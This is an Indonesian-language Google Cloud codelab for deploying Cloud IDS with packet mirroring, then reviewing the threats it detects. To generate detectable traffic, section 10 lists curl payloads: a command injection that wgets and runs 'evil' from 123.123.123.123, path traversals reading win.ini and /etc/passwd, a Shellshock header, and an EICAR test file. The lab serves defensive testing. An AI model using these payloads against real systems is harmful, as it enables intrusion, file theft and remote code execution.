1. Pengantar
Di lab ini, Anda akan men-deploy Cloud IDS, layanan deteksi penyusupan canggih generasi berikutnya yang menyediakan deteksi ancaman untuk intrusi, malware, spyware, serta serangan perintah dan kontrol. Anda akan melakukan simulasi beberapa serangan dan melihat detail ancaman di Cloud Console.
Yang akan Anda pelajari
- Cara membuat endpoint Cloud IDS
- Cara membuat 2 virtual machine dengan perintah gcloud
- Cara membuat kebijakan duplikasi paket
- Cara menyimulasikan lalu lintas serangan dari mesin virtual
- Cara melihat detail ancaman di Konsol Cloud dan Cloud Logging
Yang Anda butuhkan
- Mengetahui perintah dasar Linux
2. Kasus penggunaan Cloud IDS
Cloud IDS menyediakan Next-Gen Intrusion Detection Service (IDS) berbasis Google Cloud bagi pelanggan untuk memenuhi persyaratan kepatuhan dan deteksi ancaman tingkat lanjut seperti PCI 11.4. Layanan ini didukung oleh teknologi perlindungan ancaman Palo Alto Networks untuk menyediakan deteksi penyusupan tingkat lanjut. Memadukan infrastruktur kelas dunia Google Cloud dengan keamanan kelas dunia dari Palo Alto Networks, pelanggan mendapatkan kombinasi tak tertandingi dari layanan deteksi ancaman tingkat lanjut yang terkelola sepenuhnya, berperforma tinggi, dan efektivitas keamanan tertinggi.
Saat pelanggan bermigrasi ke cloud, keamanan menjadi prioritas mereka. Mereka ingin memiliki kontrol keamanan serupa yang mereka miliki di infrastruktur lokal, seperti Intrusion detection service (IDS) di cloud. Mereka lebih memilih menggunakan solusi IDS terkelola berbasis cloud untuk kemudahan deployment, performa tinggi, dan biaya yang dioptimalkan dibandingkan men-deploy solusi keamanan pihak ketiga dan mengelola infrastruktur atau menggunakan tanda tangan mereka sendiri. Google Cloud IDS menyediakan layanan IDS terkelola end-to-end dan penskalaan otomatis yang memungkinkan pelanggan menghabiskan waktu mereka untuk menganalisis dan memitigasi ancaman, serta menghemat waktu dan sumber daya mereka untuk mengelola tanda tangan infrastruktur atau ancaman.
Cloud IDS di-deploy di luar band dan dapat mendeteksi serta memperingatkan adanya ancaman, tetapi tidak dapat memblokir ancaman. Software ini memanfaatkan Google Cloud Packet Mirroring untuk membuat salinan traffic jaringan yang dianalisis menggunakan mesin pendeteksi ancaman Palo Alto Network.
3. Topologi Codelab
Gambar 1. Ringkasan arsitektur tingkat tinggi dari deployment Cloud IDS untuk lab ini.
4. Penyiapan dan Persyaratan
Penyiapan lingkungan mandiri
- Login ke Google Cloud Console dan buat project baru atau gunakan kembali project yang sudah ada. Jika belum memiliki akun Gmail atau Google Workspace, Anda harus membuatnya.
- Project name adalah nama tampilan untuk peserta project ini. String ini adalah string karakter yang tidak digunakan oleh Google API, dan Anda dapat memperbaruinya kapan saja.
- Project ID harus unik di semua project Google Cloud dan tidak dapat diubah (tidak dapat diubah setelah ditetapkan). Cloud Console otomatis menghasilkan string unik; biasanya Anda tidak peduli dengan kata-katanya. Pada sebagian besar codelab, Anda harus mereferensikan Project ID (dan biasanya diidentifikasi sebagai
PROJECT_ID
). Jadi, jika Anda tidak menyukainya, buat ID acak lain, atau, Anda dapat mencoba sendiri dan melihat apakah tersedia. Kemudian file akan "dibekukan" setelah project dibuat. - Ada nilai ketiga, Nomor Project yang digunakan oleh beberapa API. Pelajari lebih lanjut ketiga nilai ini di dokumentasi.
- Selanjutnya, Anda harus mengaktifkan penagihan di Cloud Console untuk menggunakan API/resource Cloud. Menjalankan operasi dalam codelab ini seharusnya tidak memerlukan banyak biaya, bahkan mungkin tidak sama sekali. Untuk menonaktifkan resource agar tidak menimbulkan penagihan di luar tutorial ini, ikuti petunjuk "pembersihan" yang ada di akhir codelab. Pengguna baru Google Cloud memenuhi syarat untuk mengikuti program Uji Coba Gratis senilai $300 USD.
Mulai Cloud Shell
Meskipun Google Cloud dapat dioperasikan dari jarak jauh menggunakan laptop Anda, dalam codelab ini, Anda akan menggunakan Google Cloud Shell, lingkungan command line yang berjalan di Cloud.
Dari GCP Console, klik ikon Cloud Shell di toolbar kanan atas:
Hanya perlu waktu beberapa saat untuk penyediaan dan terhubung ke lingkungan. Jika sudah selesai, Anda akan melihat tampilan seperti ini:
Mesin virtual ini berisi semua alat pengembangan yang Anda perlukan. Layanan ini menawarkan direktori beranda tetap sebesar 5 GB dan beroperasi di Google Cloud, sehingga sangat meningkatkan performa dan autentikasi jaringan. Semua pekerjaan Anda di lab ini dapat dilakukan hanya dengan browser.
5. Sebelum memulai
Mengaktifkan API
Di dalam Cloud Shell, pastikan project ID Anda sudah disiapkan
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Aktifkan semua layanan yang diperlukan
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Buat jaringan VPC
Jaringan VPC
Dari Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnet
Dari Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Akses Layanan Pribadi
Dari Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Koneksi Layanan Pribadi
Dari Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Aturan Firewall
Agar IAP dapat terhubung ke instance VM Anda, buat aturan firewall yang:
- Berlaku untuk semua instance VM yang Anda inginkan agar dapat diakses dengan menggunakan IAP.
- Mengizinkan traffic masuk dari rentang IP 35.235.240.0/20. Rentang ini berisi semua alamat IP yang digunakan IAP untuk penerusan TCP.
Dari Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Untuk mengizinkan port HTTP standar (TCP 80) dan protokol ICMP ke server:
- Berlaku untuk resource dengan tag jaringan "server"
- Mengizinkan traffic masuk dari semua sumber
Dari Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Membuat instance Cloud NAT
Cloud Router
Dari Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Dari Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Membuat endpoint Cloud IDS
Di bagian ini, Anda akan membuat Endpoint Cloud IDS di us-east1, dengan tingkat keparahan yang ditetapkan ke informasi. Pembuatan endpoint IDS memerlukan waktu sekitar 20 menit.
Endpoint IDS
Dari Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Pastikan endpoint Cloud IDS dimulai
gcloud ids endpoints list --project=$PROJECT_ID
{i>Output<i} -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Membuat 2 Virtual Machine
Di bagian ini, Anda akan membuat 2 virtual machine. Yang pertama adalah server web Anda yang melakukan pencerminan ke Cloud IDS. Mesin virtual kedua akan menjadi sumber traffic serangan Anda.
Virtual Machine 1 (Server)
Dari Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Virtual Machine 2 (Klien)
Dari Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Menyiapkan Server
Dalam tugas ini, Anda akan memvalidasi server dan menyediakan payload malware yang tidak berbahaya untuk klien.
Jalankan SSH ke VM melalui Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Pastikan layanan web sedang berjalan
sudo systemctl status nginx
Output - pastikan aktif dan berjalan
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Ubah direktori ke layanan web
cd /var/www/html/
Membuat file malware tidak berbahaya di server web
sudo touch eicar.file
Tempelkan konten
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Kembali ke CloudShell
exit
Membuat kebijakan duplikasi paket Cloud IDS
Identifikasi Aturan Penerusan Endpoint IDS dan konfirmasi status Endpoint IDS adalah "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Contoh Output - Salin nilai dari "endpointForwardRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Simpan Aturan Penerusan Endpoint IDS ke variabel.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Kebijakan Duplikasi Paket
Dari Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Memastikan kebijakan duplikasi paket dibuat
Dari Cloud Shell
gcloud compute packet-mirrorings list
Output
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Menyimulasikan lalu lintas serangan
SSH ke virtual machine penyerang (Klien)
Dari Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Jalankan permintaan curl berikut untuk menyimulasikan traffic berbahaya.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Keluar dari VM untuk kembali ke CloudShell
exit
11. Meninjau ancaman yang terdeteksi oleh Cloud IDS
Buka Dasbor Cloud IDS
Menu Navigasi > Keamanan Jaringan > Cloud IDS
Buka tab Ancaman.
Seperti yang dapat dilihat, Cloud IDS mengambil berbagai profil lalu lintas serangan dan memberikan detail tentang setiap ancaman. Anda mungkin perlu mengklik tombol "Refresh" jika Anda tidak melihat ancaman apa pun. Sekarang kita akan membahas lebih jauh dan melihat detail ancaman.
Cari "Kerentanan Bash Remote Code Execution" ancaman, klik ikon tiga titik di sebelah kanan, lalu pilih "Lihat detail ancaman"
Sekarang kita akan melihat detail insiden ini di Cloud Logging. Kembali ke halaman Ancaman dengan mengklik panah yang menunjuk ke kiri .
Klik titik tiga di sebelah kanan dan pilih "View security logs"
Detail yang sama diberikan untuk Cloud Logging. Tindakan ini memungkinkan Anda mengirim log ke Cloud Storage, Chronicle, atau SIEM/SOAR apa pun. Anda juga dapat membuat alur kerja kustom untuk mengambil tindakan perbaikan berdasarkan notifikasi, mis. membuat fungsi cloud yang terpicu saat menerima pemberitahuan dan membuat/memperbarui aturan firewall untuk memblokir alamat IP, atau membuat/memperbarui kebijakan Cloud Armor.
12. Langkah-langkah pembersihan
Keluar dari instance VM (semua tab)
exit
Dari satu terminal Cloud Shell, hapus komponen lab
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Selamat!
Selamat, Anda telah menyelesaikan codelab.
Yang telah kita bahas
- Kasus penggunaan Cloud IDS
- Persyaratan jaringan
- API yang didukung
- Endpoint Cloud IDS berhasil dibuat
- 2 VM di-deploy
- Menghasilkan beberapa "serangan" traffic dari klien
- Ancaman yang diverifikasi terdeteksi oleh IDS
- Meninjau detail dan log ancaman